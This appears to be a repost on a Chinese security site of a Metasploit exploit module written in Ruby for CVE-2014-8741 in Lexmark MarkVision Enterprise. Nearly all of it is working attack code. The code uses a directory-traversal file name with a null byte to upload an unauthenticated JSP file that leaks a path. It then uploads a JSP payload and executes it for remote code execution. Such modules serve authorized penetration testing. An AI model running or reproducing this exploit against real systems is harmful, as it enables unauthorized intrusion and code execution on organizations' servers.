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2015/1/15 作者:不详 来源: 华盟收集
导读                ### This module requires Metasploit: http://metasploit.com/downlo…

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::FileDropper
  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(update_info(info,
      'Name'          => 'Lexmark MarkVision Enterprise Arbitrary File Upload',
      'Description'   => %q{
        This module exploits a code execution flaw in Lexmark MarkVision Enterprise before 2.1.
        A directory traversal in the GfdFileUploadServlet servlet allows an unauthenticated
        attacker to upload arbitrary files, including arbitrary JSP code. This module has been
        tested successfully on Lexmark MarkVision Enterprise 2.0 with Windows 2003 SP2.
      },
      'Author'        =>
        [
          'Andrea Micalizzi', # Vulnerability Discovery
          'juan vazquez' # Metasploit module
        ],
      'License'       => MSF_LICENSE,
      'References'    =>
        [
          ['CVE', '2014-8741'],
          ['ZDI', '14-410'],
          ['URL', 'http://support.lexmark.com/index?page=content&id=TE666&locale=EN&userlocale=EN_US']
        ],
      'Privileged'    => true,
      'Platform'      => 'win',
      'Arch'          => ARCH_JAVA,
      'Targets'       =>
        [
          [ 'Lexmark Markvision Enterprise 2.0', { } ]
        ],
      'DefaultTarget'  => 0,
      'DisclosureDate' => 'Dec 09 2014'))

    register_options(
      [
        Opt::RPORT(9788),
        OptString.new('TARGETURI', [true, 'ROOT path', '/'])
      ], self.class)
  end

  def check
    res = send_request_cgi({
      'uri' => normalize_uri(target_uri.path.to_s, 'mve', 'help', 'en', 'inventory', 'am_about.html')
    })

    version = nil
    if res && res.code == 200 && res.body && res.body.to_s =~ /MarkVision Enterprise ([\d\.]+)/
      version = $1
    else
      return Exploit::CheckCode::Unknown
    end

    if Gem::Version.new(version) <= Gem::Version.new('2.0.0')
      return Exploit::CheckCode::Appears
    end

    Exploit::CheckCode::Safe
  end

  def exploit
    jsp_leak = jsp_path
    jsp_name_leak = "#{rand_text_alphanumeric(4 + rand(32 - 4))}.jsp"
    # By default files uploaded to C:\Program Files\Lexmark\Markvision Enterprise\apps\library\gfd-scheduled
    # Default app folder on C:\Program Files\Lexmark\Markvision Enterprise\tomcat\webappps\ROOT
    traversal_leak = "/..\\..\\..\\tomcat\\webapps\\ROOT\\#{jsp_name_leak}\x00.pdf"

    print_status("#{peer} - Uploading info leak JSP #{jsp_name_leak}...")
    if upload_file(traversal_leak, jsp_leak)
      print_good("#{peer} - JSP successfully uploaded")
    else
      fail_with(Failure::Unknown, "#{peer} - JSP upload failed")
    end

    res = execute(jsp_name_leak)

    if res && res.code == 200 && res.body.to_s !~ /null/ && res.body.to_s =~ /Path:(.*)/
      upload_path = $1
      print_good("#{peer} - Working directory found in #{upload_path}")
      register_file_for_cleanup(::File.join(upload_path, 'webapps', 'ROOT', jsp_name_leak))
    else
      print_error("#{peer} - Couldn't retrieve the upload directory, manual cleanup will be required")
    end

    jsp_payload_name = "#{rand_text_alphanumeric(4+rand(32-4))}.jsp"
    jsp_payload = payload.encoded
    traversal_payload = "/..\\..\\..\\tomcat\\webapps\\ROOT\\#{jsp_payload_name}\x00.pdf"

    print_status("#{peer} - Uploading JSP payload #{jsp_payload_name}...")
    if upload_file(traversal_payload, jsp_payload)
      print_good("#{peer} - JSP successfully uploaded")
      register_file_for_cleanup(::File.join(upload_path, 'webapps', 'ROOT', jsp_payload_name)) if upload_path
    else
      fail_with(Failure::Unknown, "#{peer} - JSP upload failed")
    end

    print_status("#{peer} - Executing payload...")
    execute(jsp_payload_name, 3)
  end

  def upload_file(filename, contents)
    good_signature = rand_text_alpha(4 + rand(4))
    bad_signature = rand_text_alpha(4 + rand(4))

    post_data = Rex::MIME::Message.new
    post_data.add_part(good_signature, nil, nil, 'form-data; name="success"')
    post_data.add_part(bad_signature, nil, nil, 'form-data; name="failure"')
    post_data.add_part(contents, 'application/octet-stream', nil, "form-data; name=\"datafile\"; filename=\"#{filename}\"")

    res = send_request_cgi(
      {
        'uri'    => normalize_uri(target_uri.path, 'mve', 'upload', 'gfd'),
        'method' => 'POST',
        'data'   => post_data.to_s,
        'ctype'  => "multipart/form-data; boundary=#{post_data.bound}"
      })

    if res && res.code == 200 && res.body && res.body.to_s.include?(good_signature)
      return true
    else
      return false
    end
  end

  def execute(jsp_name, time_out = 20)
    res = send_request_cgi({
      'uri'    => normalize_uri(target_uri.path.to_s, jsp_name),
      'method' => 'GET'
    }, time_out)

    res
  end

  def jsp_path
    jsp =<<-EOS
<%@ page language="Java" import="java.util.*"%>
<%
out.println("Path:" + System.getProperty("catalina.home"));
%>
    EOS

    jsp
  end

end
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